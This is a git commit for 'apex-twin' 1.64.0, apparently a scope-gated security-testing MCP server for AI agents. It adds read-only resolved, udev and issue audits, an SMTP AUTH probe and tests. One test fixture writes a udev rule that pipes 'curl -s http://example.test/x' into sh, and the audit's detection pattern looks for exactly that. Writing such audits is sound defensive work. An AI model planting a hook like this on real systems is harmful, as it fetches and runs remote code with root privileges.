apex-twin 1.64.0: resolved, udev and issue audits, SMTP AUTH probe

Blue:
- resolved_audit: resolved.conf: public resolvers, DNSSEC off/allow-downgrade,
  DNS-over-TLS off, LLMNR and MulticastDNS on, world-writable.
- udev_audit: rules from /etc and /usr/lib: MODE 0666/0777, RUN+= hooks that
  pipe a download into a shell, world-writable files.
- issue_audit: /etc/issue and /etc/issue.net: \r/\v escapes, uname -r or a
  literal kernel version, world-writable files.

Red:
- smtp_auth_probe: EHLO features; PLAIN/LOGIN offered without STARTTLS means
  credentials cross the wire in clear. No login is attempted.

SMTP EHLO lines are parsed in full: reply_feature returns only the first
token, so 'AUTH PLAIN LOGIN' had to be read from the rest of the line.

Tests with resolved/udev/issue trees and two SMTP fixtures (AUTH without
STARTTLS, AUTH with STARTTLS). 1230 checks, ASan suite green, analyze clean,
release-check green including distcheck 1.64.0.
This commit is contained in:
lotherk committed 2026-11-22 16:47:38 +00:00
1 parent ea281386ba
commit 5775248153
9 files changed
+634 -15

No files matched your search

+16 -1
View File
@@ -8,7 +8,22 @@ fields, and state from an older version is read by a newer one.
There are no git tags. The hash next to a version is the commit that introduced
it; the current entry is the commit that adds this section.
## 1.63.0 — 2026-11-23 — this change
## 1.64.0 — 2026-11-23 — this change
- **resolved** (`resolved_audit`): `resolved.conf`: public resolvers,
`DNSSEC=no`/`allow-downgrade`, `DNSOverTLS=no`, `LLMNR=yes`,
`MulticastDNS=yes` and a world-writable file.
- **udev** (`udev_audit`): rules from `/etc` and `/usr/lib`: `MODE="0666"`/
`"0777"`, `RUN+=` hooks that pipe a download into a shell and
world-writable files.
- **issue** (`issue_audit`): `/etc/issue` and `/etc/issue.net`: `\r`/`\v`
escapes, `uname -r` or a literal kernel version and world-writable files.
- **SMTP AUTH** (`smtp_auth_probe`): EHLO features; PLAIN/LOGIN offered
without STARTTLS means credentials cross the wire in clear. No login.
- Tests with resolved/udev/issue trees and two SMTP fixtures (AUTH without
STARTTLS, AUTH with STARTTLS). 1230 checks. Coverage 84.3%.
## 1.63.0 — 2026-11-23 — ea28138
- **OpenSSL config** (`openssl_cnf_audit`): `openssl.cnf`: `MinProtocol`
TLSv1/TLSv1.1, a `CipherString` with `SECLEVEL=0/1`, a missing
+13 -6
View File
@@ -5,11 +5,11 @@ no Python in the serving path. It gives an agent real reconnaissance and real we
testing behind a scope gate that refuses everything until a rules-of-engagement
file says otherwise.
**290 tools · 1218 end-to-end checks · 340 fuzz cases · 84.2% line coverage · ~996 KiB**
**294 tools · 1230 end-to-end checks · 340 fuzz cases · 84.3% line coverage · ~1000 KiB**
```
$ ./apex-twin --check
{"version":"1.63.0","tools":290,...,"scope":{"loaded":true,...}}
{"version":"1.64.0","tools":294,...,"scope":{"loaded":true,...}}
```
APEX TWIN was inspired by [ARTEX](https://github.com/Autumn-27/artex) (scope
@@ -149,7 +149,7 @@ closes a request whose head or body does not arrive within
---
## Tools (290)
## Tools (294)
### Scope and bookkeeping
@@ -222,6 +222,7 @@ uploads and secret-file reads. It does not execute anything.
| `logstash_api_probe` | `/_node/info` and `/_node/stats` without auth; stats as evidence |
| `amqp_probe` | AMQP 0-9-1 Connection.Start: product, version, mechanisms, no login |
| `tls_chain_probe` | Counts presented certs; a lone non-self-signed leaf means a missing intermediate |
| `smtp_auth_probe` | EHLO AUTH mechanisms; PLAIN/LOGIN without STARTTLS is a clear-text risk |
| `cookie_audit` | Secure/HttpOnly/SameSite per cookie, incl. `SameSite=None` without Secure |
| `http_options` | `Allow`/`Public`; flags TRACE, PUT, DELETE |
| `sqli_probe` | Quote and boolean payloads; differing answers are a **lead**, not proof |
@@ -487,6 +488,9 @@ command in the allowlist: a receiver is a scanner, a transmitter is an attack.
| `openssl_cnf_audit` | openssl.cnf: MinProtocol TLSv1, SECLEVEL 0/1 |
| `curlrc_audit` | /etc/curlrc: `insecure`, plain-HTTP proxy |
| `wgetrc_audit` | /etc/wgetrc: `check_certificate=off`, plain proxy |
| `resolved_audit` | resolved.conf: public DNS, DNSSEC/DoT off, LLMNR/mDNS on |
| `udev_audit` | udev rules: MODE 0666, `RUN+=` downloads piped to a shell |
| `issue_audit` | /etc/issue: `\r`/`\v` version disclosure |
### ESP32
@@ -801,6 +805,8 @@ The full threat model, trust boundaries and a hardening checklist are in
| AMQP | protocol header + Connection.Start, no login |
| openssl/curl/wget cnf | config reads only; optional root prefix |
| TLS chain | one handshake, no data |
| resolved/udev/issue | config reads only; optional root prefix |
| SMTP AUTH | banner + EHLO, no login |
| USB audit | 200 devices, sysfs reads only |
---
@@ -812,7 +818,7 @@ Flags are fixed: `-std=c99 -Wall -Wextra -Wpedantic -Werror` plus
```sh
make # apex-twin
make test # version check + gate audit + 1218 end-to-end checks
make test # version check + gate audit + 1230 end-to-end checks
make version-check # the five places that carry a version must agree
make gate-audit # static: every target-taking tool calls the gate
make asan # apex-twin-asan with ASan + UBSan
@@ -942,7 +948,8 @@ src/tools_red.c vuln_check, subdomain_enum, cred_test, vhost_discovery,
rabbitmq_management_probe, grafana_api_probe,
minio_admin_probe, nats_monitoring_probe,
influxdb_probe, clickhouse_probe, kibana_api_probe,
logstash_api_probe, amqp_probe, tls_chain_probe
logstash_api_probe, amqp_probe, tls_chain_probe,
smtp_auth_probe
src/tools_blue.c hardening_audit, log_audit, ioc_scan, web_log_audit,
detect_rules, integrity_baseline, mitre_map,
process_snapshot, persistence_audit, net_baseline,
@@ -985,7 +992,7 @@ examples/ scope.json
## Status
1.63.0. Built and run: 290 tools, 1218 checks, 340 fuzz cases and 84.2% line
1.64.0. Built and run: 294 tools, 1230 checks, 340 fuzz cases and 84.3% line
coverage. The loop closes: a probe captures the exchange as a pair, a finding
points at it, `finding_update` gives it a state, an asset records the host it
came from, `cors_check`/`cookie_audit`/`http_options` turn a web answer into a
+3 -1
View File
@@ -9,7 +9,7 @@ problem.
The supported line is the one printed by `apex-twin --version` for the tree you
built; this document ships with that same tree. At the time of writing the line
is **1.63.x** (`src/apex.h`, `APEX_VERSION`). Security fixes land on the current
is **1.64.x** (`src/apex.h`, `APEX_VERSION`). Security fixes land on the current
line. The 1.0 line promises that the on-disk JSON formats for findings, assets
and traffic only gain fields, so state stays readable; older builds are still
rebuilt rather than patched in place.
@@ -66,6 +66,8 @@ only narrow what the proxy does (the scope gate still runs first).
- **Firmware writing needs an explicit confirmation.** `esp_flash` refuses
without `confirm=true`, validates an absolute image path and audits the
attempt; it exists to provision the operator's own board.
- **resolved/udev/issue audits read local files.** The SMTP AUTH probe reads
the banner and EHLO features; no login is attempted.
- **OpenSSL/curl/wget configuration audits read local files.** The TLS
chain probe performs one handshake and reads the presented certificates.
- **Compose, manifest and Dockerfile audits read one local file each.** The
+4 -3
View File
@@ -1,5 +1,5 @@
.\" apex-twin.1 - manual page for APEX TWIN
.TH APEX-TWIN 1 "2026-11-21" "apex-twin 1.63.0" "User Commands"
.TH APEX-TWIN 1 "2026-11-21" "apex-twin 1.64.0" "User Commands"
.SH NAME
apex-twin \- scope\-gated offensive\-security MCP server
.SH SYNOPSIS
@@ -46,7 +46,7 @@ sip_probe, telnet_probe, http_methods, websocket_probe, ike_probe, snmp_walk,
ldap_search, openapi_discovery, csrf_audit, rpc_probe, ntp_probe, dnssec_check, smtp_starttls_probe, tls_ocsp_probe, alpn_probe, webdav_probe, dns_wildcard_check, dns_caa_check, sni_vhost_check, tls_client_auth_probe, kubernetes_api_probe,
dns_ns_consistency, dns_dangling_cname, http_redirect_audit,
websocket_origin_check, dns_fcrdns_check, dns_soa_mname_check, http_redirect_audit,
websocket_origin_check, hsts_audit, tls_hostname_check, ftp_tls_probe, zookeeper_4lw_probe, etcd_api_probe, docker_registry_probe, consul_api_probe, couchdb_probe, prometheus_api_probe, rabbitmq_management_probe, grafana_api_probe, minio_admin_probe, nats_monitoring_probe, influxdb_probe, clickhouse_probe, kibana_api_probe, logstash_api_probe, amqp_probe, tls_chain_probe),
websocket_origin_check, hsts_audit, tls_hostname_check, ftp_tls_probe, zookeeper_4lw_probe, etcd_api_probe, docker_registry_probe, consul_api_probe, couchdb_probe, prometheus_api_probe, rabbitmq_management_probe, grafana_api_probe, minio_admin_probe, nats_monitoring_probe, influxdb_probe, clickhouse_probe, kibana_api_probe, logstash_api_probe, amqp_probe, tls_chain_probe, smtp_auth_probe),
defensive
audits (hardening_audit, log_audit, ioc_scan, web_log_audit, detect_rules,
integrity_baseline, mitre_map, process_snapshot, persistence_audit,
@@ -78,7 +78,8 @@ nagios_audit, synapse_audit, logstash_audit, filebeat_audit,
fluentd_audit, telegraf_audit, graylog_audit, netdata_audit, sshd_config_audit,
hosts_access_audit, profile_audit, atd_audit, securetty_audit,
tmpfiles_audit, compose_audit, k8s_manifest_audit, dockerfile_audit,
openssl_cnf_audit, curlrc_audit, wgetrc_audit)
openssl_cnf_audit, curlrc_audit, wgetrc_audit, resolved_audit,
udev_audit, issue_audit)
and ESP32 board tools (esp_info, esp_monitor,
esp_read_flash, esp_flash, esp_partition_table, esp_nvs_parse, firmware_scan,
esp_app_info, esp_image_verify).
+1 -1
View File
@@ -15,7 +15,7 @@
#include "mcp.h"
#define APEX_VERSION "1.63.0"
#define APEX_VERSION "1.64.0"
#define APEX_MAX_OUT (1u << 20)
#define APEX_PATH_MAX 512
#define APEX_PATH_FULL 1024
+317
View File
@@ -19186,6 +19186,302 @@ static void t_wgetrc_audit(mcp_conn *c, const mcp_json *args, void *user)
mcp_buf_free(&findings);
}
/* -------------------------------------------------------------- resolved_audit */
static int resolved_public_dns(const char *value)
{
static const char *publics[] = { "8.8.8.8", "8.8.4.4", "1.1.1.1",
"1.0.0.1", "9.9.9.9", "149.112.112.112",
"208.67.222.222", "208.67.220.220",
NULL };
char copy[512];
char *save = NULL;
char *tok;
int i;
snprintf(copy, sizeof(copy), "%.500s", value);
tok = strtok_r(copy, " \t,", &save);
while (tok != NULL) {
for (i = 0; publics[i] != NULL; i++)
if (strcmp(tok, publics[i]) == 0)
return 1;
tok = strtok_r(NULL, " \t,", &save);
}
return 0;
}
static void t_resolved_audit(mcp_conn *c, const mcp_json *args, void *user)
{
const char *root = mcp_arg_string(args, "root");
char path[1024];
static char text[65536];
char value[512];
struct stat st;
mcp_buf b;
mcp_buf findings;
int first = 1;
int count = 0;
int public_dns = 0;
int dnssec_off = 0;
int no_dot = 0;
int llmnr = 0;
int mdns = 0;
(void)user;
if (root == NULL)
root = "";
if (strlen(root) > 400) {
mcp_reply_error(c, "root path too long");
return;
}
snprintf(path, sizeof(path), "%s/etc/systemd/resolved.conf", root);
if (read_text(path, text, sizeof(text)) <= 0) {
mcp_reply_error(c, "cannot read resolved.conf");
return;
}
mcp_buf_init(&findings);
if (stat(path, &st) == 0 && (st.st_mode & 0002) != 0) {
add_finding(&findings, &first, "world-writable", "high",
"resolved.conf is writable by anyone");
count++;
}
if (ini_value(text, "Resolve", "DNS", value, sizeof(value)) &&
resolved_public_dns(value))
public_dns = 1;
if (ini_value(text, "Resolve", "DNSSEC", value, sizeof(value)) &&
(strcasecmp(value, "no") == 0 ||
strcasecmp(value, "allow-downgrade") == 0))
dnssec_off = 1;
if (ini_value(text, "Resolve", "DNSOverTLS", value, sizeof(value)) &&
strcasecmp(value, "no") == 0)
no_dot = 1;
if (ini_value(text, "Resolve", "LLMNR", value, sizeof(value)) &&
strcasecmp(value, "yes") == 0)
llmnr = 1;
if (ini_value(text, "Resolve", "MulticastDNS", value, sizeof(value)) &&
strcasecmp(value, "yes") == 0)
mdns = 1;
if (public_dns) {
add_finding(&findings, &first, "public-dns", "low",
"public resolvers handle internal queries");
count++;
}
if (dnssec_off) {
add_finding(&findings, &first, "dnssec-off", "medium",
"DNSSEC is disabled or allows downgrade");
count++;
}
if (no_dot) {
add_finding(&findings, &first, "no-dot", "low",
"DNS-over-TLS is disabled");
count++;
}
if (llmnr) {
add_finding(&findings, &first, "llmnr", "medium",
"LLMNR answers name queries from the local link");
count++;
}
if (mdns) {
add_finding(&findings, &first, "mdns", "low",
"multicast DNS is enabled");
count++;
}
mcp_buf_init(&b);
mcp_buf_puts(&b, "{\"root\":");
apex_json_str(&b, root);
mcp_buf_printf(&b, ",\"public_dns\":%s,\"dnssec\":%s,"
"\"dns_over_tls\":%s,\"llmnr\":%s,\"mdns\":%s,"
"\"findings_count\":%d,\"findings\":[",
public_dns ? "true" : "false",
dnssec_off ? "false" : "true",
no_dot ? "false" : "true",
llmnr ? "true" : "false",
mdns ? "true" : "false", count);
if (findings.p != NULL)
mcp_buf_add(&b, findings.p, findings.len);
mcp_buf_puts(&b, "]}");
mcp_reply_json(c, b.p);
mcp_buf_free(&b);
mcp_buf_free(&findings);
}
/* ----------------------------------------------------------------- udev_audit */
static void udev_scan_file(mcp_buf *findings, int *first, int *count,
const char *path, int *files, int *open_mode,
int *shell_hook)
{
static char text[65536];
struct stat st;
if (read_text(path, text, sizeof(text)) <= 0)
return;
(*files)++;
if (stat(path, &st) == 0 && (st.st_mode & 0002) != 0) {
add_finding(findings, first, "world-writable", "high",
"%s is writable by anyone", path);
(*count)++;
}
if (text_has_line(text, "MODE=", "0666") ||
text_has_line(text, "MODE=", "0777")) {
add_finding(findings, first, "world-writable-device", "high",
"%s creates a world-accessible device node", path);
(*count)++;
(*open_mode)++;
}
if (strstr(text, "RUN+=") != NULL &&
(strstr(text, "curl") != NULL || strstr(text, "wget") != NULL) &&
(strstr(text, "| sh") != NULL || strstr(text, "|sh") != NULL ||
strstr(text, "| bash") != NULL || strstr(text, "|bash") != NULL)) {
add_finding(findings, first, "shell-hook", "high",
"%s runs a download through a shell", path);
(*count)++;
(*shell_hook)++;
}
}
static void udev_scan_dir(mcp_buf *findings, int *first, int *count,
const char *dirpath, int *files, int *open_mode,
int *shell_hook)
{
DIR *d = opendir(dirpath);
struct dirent *ent;
if (d == NULL)
return;
while ((ent = readdir(d)) != NULL) {
char full[1200];
size_t nl = strlen(ent->d_name);
if (ent->d_name[0] == '.')
continue;
if (nl < 6 || strcmp(ent->d_name + nl - 6, ".rules") != 0)
continue;
snprintf(full, sizeof(full), "%.900s/%.200s", dirpath,
ent->d_name);
udev_scan_file(findings, first, count, full, files, open_mode,
shell_hook);
}
closedir(d);
}
static void t_udev_audit(mcp_conn *c, const mcp_json *args, void *user)
{
const char *root = mcp_arg_string(args, "root");
char path[1024];
mcp_buf b;
mcp_buf findings;
int first = 1;
int count = 0;
int files = 0;
int open_mode = 0;
int shell_hook = 0;
(void)user;
if (root == NULL)
root = "";
if (strlen(root) > 400) {
mcp_reply_error(c, "root path too long");
return;
}
mcp_buf_init(&findings);
snprintf(path, sizeof(path), "%s/etc/udev/rules.d", root);
udev_scan_dir(&findings, &first, &count, path, &files, &open_mode,
&shell_hook);
snprintf(path, sizeof(path), "%s/usr/lib/udev/rules.d", root);
udev_scan_dir(&findings, &first, &count, path, &files, &open_mode,
&shell_hook);
if (files == 0) {
mcp_buf_free(&findings);
mcp_reply_error(c, "cannot read a udev rules file");
return;
}
mcp_buf_init(&b);
mcp_buf_puts(&b, "{\"root\":");
apex_json_str(&b, root);
mcp_buf_printf(&b, ",\"files\":%d,\"open_modes\":%d,"
"\"shell_hooks\":%d,\"findings_count\":%d,"
"\"findings\":[",
files, open_mode, shell_hook, count);
if (findings.p != NULL)
mcp_buf_add(&b, findings.p, findings.len);
mcp_buf_puts(&b, "]}");
mcp_reply_json(c, b.p);
mcp_buf_free(&b);
mcp_buf_free(&findings);
}
/* ---------------------------------------------------------------- issue_audit */
static int issue_version_leak(const char *text)
{
if (strstr(text, "\\r") != NULL || strstr(text, "\\v") != NULL ||
strstr(text, "\\m") != NULL || strstr(text, "uname -r") != NULL ||
strstr(text, "Linux version") != NULL)
return 1;
return 0;
}
static void t_issue_audit(mcp_conn *c, const mcp_json *args, void *user)
{
static const char *files[] = { "/etc/issue", "/etc/issue.net", NULL };
const char *root = mcp_arg_string(args, "root");
char path[1024];
static char text[65536];
struct stat st;
mcp_buf b;
mcp_buf findings;
int first = 1;
int count = 0;
int files_read = 0;
int leak = 0;
int i;
(void)user;
if (root == NULL)
root = "";
if (strlen(root) > 400) {
mcp_reply_error(c, "root path too long");
return;
}
mcp_buf_init(&findings);
for (i = 0; files[i] != NULL; i++) {
snprintf(path, sizeof(path), "%.400s%s", root, files[i]);
if (read_text(path, text, sizeof(text)) <= 0)
continue;
files_read++;
if (stat(path, &st) == 0 && (st.st_mode & 0002) != 0) {
add_finding(&findings, &first, "world-writable", "high",
"%s is writable by anyone", path);
count++;
}
if (issue_version_leak(text))
leak = 1;
}
if (files_read == 0) {
mcp_buf_free(&findings);
mcp_reply_error(c, "cannot read /etc/issue or /etc/issue.net");
return;
}
if (leak) {
add_finding(&findings, &first, "version-leak", "low",
"the login banner prints the kernel or OS version");
count++;
}
mcp_buf_init(&b);
mcp_buf_puts(&b, "{\"root\":");
apex_json_str(&b, root);
mcp_buf_printf(&b, ",\"files\":%d,\"version_leak\":%s,"
"\"findings_count\":%d,\"findings\":[",
files_read, leak ? "true" : "false", count);
if (findings.p != NULL)
mcp_buf_add(&b, findings.p, findings.len);
mcp_buf_puts(&b, "]}");
mcp_reply_json(c, b.p);
mcp_buf_free(&b);
mcp_buf_free(&findings);
}
const mcp_tool TOOLS_BLUE[] = {
{ "hardening_audit",
"Read-only posture audit of the local host: sshd_config (root login, "
@@ -20282,6 +20578,27 @@ const mcp_tool TOOLS_BLUE[] = {
"{\"type\":\"object\",\"properties\":{"
"\"root\":{\"type\":\"string\",\"description\":\"prefix, default empty\"}}}",
t_wgetrc_audit },
{ "resolved_audit",
"Parse resolved.conf (root prefix): public resolvers, DNSSEC off or "
"allow-downgrade, DNS-over-TLS off, LLMNR/MulticastDNS on and a "
"world-writable file. Read-only.",
"{\"type\":\"object\",\"properties\":{"
"\"root\":{\"type\":\"string\",\"description\":\"prefix, default empty\"}}}",
t_resolved_audit },
{ "udev_audit",
"Parse udev rules from /etc and /usr/lib (root prefix): MODE 0666/0777, "
"RUN+= hooks that pipe a download into a shell and world-writable "
"files. Read-only.",
"{\"type\":\"object\",\"properties\":{"
"\"root\":{\"type\":\"string\",\"description\":\"prefix, default empty\"}}}",
t_udev_audit },
{ "issue_audit",
"Parse /etc/issue and /etc/issue.net (root prefix): \\r/\\v kernel "
"escapes, uname -r or a literal Linux version and world-writable "
"files. Read-only.",
"{\"type\":\"object\",\"properties\":{"
"\"root\":{\"type\":\"string\",\"description\":\"prefix, default empty\"}}}",
t_issue_audit },
};
const size_t TOOLS_BLUE_N = sizeof(TOOLS_BLUE) / sizeof(TOOLS_BLUE[0]);
+113
View File
@@ -6279,6 +6279,110 @@ static void t_tls_chain_probe(mcp_conn *c, const mcp_json *args, void *user)
mcp_buf_free(&b);
}
/* ------------------------------------------------------------- smtp_auth_probe */
static void t_smtp_auth_probe(mcp_conn *c, const mcp_json *args, void *user)
{
const char *target = mcp_arg_string(args, "target");
int port = mcp_arg_int(args, "port", 25);
char banner[512];
char reply[8192];
char features[16][96];
int nfeat = 0;
int banner_code;
int starttls = 0;
int cleartext = 0;
int risk;
int fd;
int i;
mcp_buf b;
(void)user;
if (target == NULL || *target == '\0') {
mcp_reply_error(c, "target is required");
return;
}
if (port <= 0 || port > 65535) {
mcp_reply_error(c, "port out of range");
return;
}
if (!gated(c, "smtp_auth_probe", target, port))
return;
fd = tcp_connect_host(target, port, 8000);
if (fd < 0) {
mcp_reply_error(c, "cannot connect to the SMTP service");
return;
}
banner[0] = '\0';
banner_code = (read_line(fd, banner, sizeof(banner)) >= 0)
? reply_code(banner) : 0;
if (banner_code != 220) {
close(fd);
mcp_reply_error(c, "no SMTP banner");
return;
}
if (write_all(fd, "EHLO apex-twin\r\n") == 0) {
if (read_reply(fd, reply, sizeof(reply)) > 0) {
char *save = NULL;
char *line = strtok_r(reply, "\n", &save);
line = strtok_r(NULL, "\n", &save);
while (line != NULL && nfeat < 16) {
char *s = line;
size_t sl;
while (*s == ' ' || *s == '\t')
s++;
if (strncmp(s, "250", 3) == 0) {
s += 3;
if (*s == '-' || *s == ' ')
s++;
}
while (*s == ' ' || *s == '\t')
s++;
sl = strlen(s);
while (sl > 0 && (s[sl - 1] == '\r' ||
s[sl - 1] == ' ' ||
s[sl - 1] == '\t'))
s[--sl] = '\0';
snprintf(features[nfeat], sizeof(features[0]),
"%.90s", s);
nfeat++;
line = strtok_r(NULL, "\n", &save);
}
}
}
close(fd);
for (i = 0; i < nfeat; i++) {
if (strcasecmp(features[i], "STARTTLS") == 0)
starttls = 1;
if (strncasecmp(features[i], "AUTH", 4) == 0 &&
(strcasestr(features[i], "PLAIN") != NULL ||
strcasestr(features[i], "LOGIN") != NULL))
cleartext = 1;
}
risk = cleartext && !starttls;
mcp_buf_init(&b);
mcp_buf_puts(&b, "{\"target\":");
apex_json_str(&b, target);
mcp_buf_printf(&b, ",\"port\":%d,\"features\":[", port);
for (i = 0; i < nfeat; i++) {
if (i > 0)
mcp_buf_puts(&b, ",");
apex_json_str(&b, features[i]);
}
mcp_buf_printf(&b, "],\"starttls\":%s,\"cleartext_auth\":%s,"
"\"cleartext_risk\":%s}",
starttls ? "true" : "false",
cleartext ? "true" : "false",
risk ? "true" : "false");
apex_audit("smtp_auth_probe", target, port, !risk,
risk ? "AUTH PLAIN/LOGIN is offered without STARTTLS"
: "AUTH mechanisms are protected or absent", "EHLO");
mcp_reply_json(c, b.p);
mcp_buf_free(&b);
}
const mcp_tool TOOLS_PROTO[] = {
{ "ftp_probe",
"One-connection FTP check: read the 220 banner, ask FEAT, then try the "
@@ -6614,6 +6718,15 @@ const mcp_tool TOOLS_PROTO[] = {
"\"port\":{\"type\":\"integer\",\"description\":\"default 25\"}},"
"\"required\":[\"target\"]}",
t_smtp_starttls_probe },
{ "smtp_auth_probe",
"EHLO and parse the AUTH feature: report the mechanisms and whether "
"PLAIN/LOGIN are offered without STARTTLS, which means credentials "
"cross the wire in clear. No login is attempted. Gate: the target.",
"{\"type\":\"object\",\"properties\":{"
"\"target\":{\"type\":\"string\"},"
"\"port\":{\"type\":\"integer\",\"description\":\"default 25\"}},"
"\"required\":[\"target\"]}",
t_smtp_auth_probe },
{ "tls_ocsp_probe",
"Open one TLS connection with openssl s_client -status and report whether "
"the server staples an OCSP response, its response status and the "
+1 -1
View File
@@ -21,7 +21,7 @@ import re
import sys
HERE = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
EXPECTED_TOOLS = 290
EXPECTED_TOOLS = 294
GATE = ("gated(", "gated_cmd(", "gated_run(", "apex_scope_check(")
NET = ("http_once(", "tcp_connect_host(", "tcp_probe(", "apex_run(")
# Tools whose "target" argument filters local records; they never touch it.
+166 -2
View File
@@ -134,7 +134,7 @@ res, _ = run([
], home=empty)
check("tools/list answers", any(r.get("id") == 1 for r in res))
tools = [r for r in res if r.get("id") == 1][0]["result"]["tools"]
check("290 tools registered", len(tools) == 290, len(tools))
check("294 tools registered", len(tools) == 294, len(tools))
names = {t["name"] for t in tools}
for need in ("portscan", "nmap", "http_request", "marauder_scan",
"method_playbook", "finding_add", "finding_update", "scope_check",
@@ -1560,7 +1560,7 @@ try:
check("http initialize", init["result"]["serverInfo"]["name"] == "apex-twin",
init)
listing = post({"jsonrpc": "2.0", "id": 2, "method": "tools/list"})
check("http tools/list", len(listing["result"]["tools"]) == 290)
check("http tools/list", len(listing["result"]["tools"]) == 294)
shown = post(call(3, "scope_show"))
check("http scope_show", '"loaded":true' in shown["result"]["content"][0]["text"])
# the id must be the request's id, not one found inside the arguments
@@ -13220,6 +13220,169 @@ shutil.rmtree(wr_good_root, ignore_errors=True)
shutil.rmtree(chain_dir, ignore_errors=True)
shutil.rmtree(cfg35_home, ignore_errors=True)
print("\n== resolved, udev, issue and SMTP AUTH ==\n")
rs_root = tempfile.mkdtemp(prefix="apex-rs-")
os.makedirs(os.path.join(rs_root, "etc", "systemd"))
rs_bad = os.path.join(rs_root, "etc", "systemd", "resolved.conf")
with open(rs_bad, "w") as f:
f.write("[Resolve]\n")
f.write("DNS=8.8.8.8 1.1.1.1\n")
f.write("DNSSEC=no\n")
f.write("DNSOverTLS=no\n")
f.write("LLMNR=yes\n")
f.write("MulticastDNS=yes\n")
os.chmod(rs_bad, 0o666)
rs_good_root = tempfile.mkdtemp(prefix="apex-rsg-")
os.makedirs(os.path.join(rs_good_root, "etc", "systemd"))
with open(os.path.join(rs_good_root, "etc", "systemd", "resolved.conf"),
"w") as f:
f.write("[Resolve]\n")
f.write("DNS=10.0.0.53\n")
f.write("DNSSEC=yes\n")
f.write("DNSOverTLS=yes\n")
f.write("LLMNR=no\n")
f.write("MulticastDNS=no\n")
ud_root = tempfile.mkdtemp(prefix="apex-ud-")
os.makedirs(os.path.join(ud_root, "etc", "udev", "rules.d"))
ud_bad = os.path.join(ud_root, "etc", "udev", "rules.d", "99-bad.rules")
with open(ud_bad, "w") as f:
f.write('SUBSYSTEM=="usb", MODE="0666"\n')
f.write('ACTION=="add", RUN+="/bin/sh -c '
"'curl -s http://example.test/x | sh'\"\n")
os.chmod(ud_bad, 0o666)
ud_good_root = tempfile.mkdtemp(prefix="apex-udg-")
os.makedirs(os.path.join(ud_good_root, "etc", "udev", "rules.d"))
with open(os.path.join(ud_good_root, "etc", "udev", "rules.d",
"99-good.rules"), "w") as f:
f.write('SUBSYSTEM=="usb", MODE="0660", GROUP="plugdev", '
'TAG+="uaccess"\n')
is_root = tempfile.mkdtemp(prefix="apex-is-")
os.makedirs(os.path.join(is_root, "etc"))
is_bad = os.path.join(is_root, "etc", "issue")
with open(is_bad, "w") as f:
f.write("Welcome to \\r (\\v)\n")
os.chmod(is_bad, 0o666)
is_good_root = tempfile.mkdtemp(prefix="apex-isg-")
os.makedirs(os.path.join(is_good_root, "etc"))
with open(os.path.join(is_good_root, "etc", "issue"), "w") as f:
f.write("Authorized use only\n")
def smtp_auth_handler(starttls, auth):
def handle(conn):
f = conn.makefile("rb")
conn.sendall(b"220 test ESMTP\r\n")
while True:
line = f.readline()
if not line:
return
cmd = line.strip().upper()
if cmd.startswith(b"EHLO"):
features = []
if auth:
features.append(b"AUTH PLAIN LOGIN")
if starttls:
features.append(b"STARTTLS")
if features:
out = b"250-test\r\n"
out += b"".join(b"250-" + x + b"\r\n"
for x in features[:-1])
out += b"250 " + features[-1] + b"\r\n"
else:
out = b"250 test\r\n"
conn.sendall(out)
elif cmd.startswith(b"QUIT"):
conn.sendall(b"221 bye\r\n")
return
else:
conn.sendall(b"500 unknown\r\n")
return handle
smtp_plain_srv, smtp_plain_port = start_line_server(
smtp_auth_handler(False, True))
smtp_tls_srv, smtp_tls_port = start_line_server(
smtp_auth_handler(True, True))
cfg36_home = tempfile.mkdtemp(prefix="apex-cfg36-home-")
write_scope(cfg36_home, {"label": "cfg36", "expires": "2099-12-31T23:59:59Z",
"allow_private": True, "allow_ip": ["127.0.0.1"],
"allow_port": [str(smtp_plain_port),
str(smtp_tls_port)]})
res, _ = run([
call(1, "resolved_audit", root=rs_root),
call(2, "resolved_audit", root=rs_good_root),
call(3, "udev_audit", root=ud_root),
call(4, "udev_audit", root=ud_good_root),
call(5, "issue_audit", root=is_root),
call(6, "issue_audit", root=is_good_root),
call(7, "smtp_auth_probe", target="127.0.0.1", port=smtp_plain_port),
call(8, "smtp_auth_probe", target="127.0.0.1", port=smtp_tls_port),
call(9, "smtp_auth_probe", target="198.51.100.9", port=25),
call(10, "resolved_audit", root="/nonexistent-rs"),
call(11, "udev_audit", root="/nonexistent-ud"),
call(12, "issue_audit", root="/nonexistent-is"),
], home=cfg36_home)
by_id = {r.get("id"): r for r in res}
rs = json.loads(text(by_id[1]))
rs_kinds = {f["id"] for f in rs["findings"]}
check("resolved_audit flags public DNS, LLMNR and no DNSSEC",
{"world-writable", "public-dns", "dnssec-off", "no-dot", "llmnr",
"mdns"} <= rs_kinds and rs["public_dns"] is True and
rs["llmnr"] is True, rs)
rs_good = json.loads(text(by_id[2]))
check("resolved_audit accepts an internal validating resolver",
rs_good["findings_count"] == 0 and rs_good["public_dns"] is False and
rs_good["dnssec"] is True, rs_good)
ud = json.loads(text(by_id[3]))
ud_kinds = {f["id"] for f in ud["findings"]}
check("udev_audit flags a world device and a shell hook",
{"world-writable", "world-writable-device", "shell-hook"} <=
ud_kinds and ud["open_modes"] == 1 and ud["shell_hooks"] == 1, ud)
ud_good = json.loads(text(by_id[4]))
check("udev_audit accepts a scoped device rule",
ud_good["findings_count"] == 0 and ud_good["open_modes"] == 0 and
ud_good["shell_hooks"] == 0, ud_good)
is_rev = json.loads(text(by_id[5]))
is_kinds = {f["id"] for f in is_rev["findings"]}
check("issue_audit flags a version banner and a writable file",
{"world-writable", "version-leak"} <= is_kinds and
is_rev["version_leak"] is True, is_rev)
is_good = json.loads(text(by_id[6]))
check("issue_audit accepts a plain banner",
is_good["findings_count"] == 0 and
is_good["version_leak"] is False, is_good)
smtp_plain = json.loads(text(by_id[7]))
check("smtp_auth_probe flags PLAIN/LOGIN without STARTTLS",
smtp_plain["cleartext_auth"] is True and
smtp_plain["starttls"] is False and
smtp_plain["cleartext_risk"] is True, smtp_plain)
smtp_tls = json.loads(text(by_id[8]))
check("smtp_auth_probe accepts AUTH behind STARTTLS",
smtp_tls["cleartext_auth"] is True and
smtp_tls["starttls"] is True and
smtp_tls["cleartext_risk"] is False, smtp_tls)
check("smtp_auth_probe refuses an out-of-scope target", err(by_id[9]),
text(by_id[9]))
check("resolved_audit reports a missing config", err(by_id[10]),
text(by_id[10]))
check("udev_audit reports missing rules", err(by_id[11]),
text(by_id[11]))
check("issue_audit reports missing banners", err(by_id[12]),
text(by_id[12]))
smtp_plain_srv.close()
smtp_tls_srv.close()
shutil.rmtree(rs_root, ignore_errors=True)
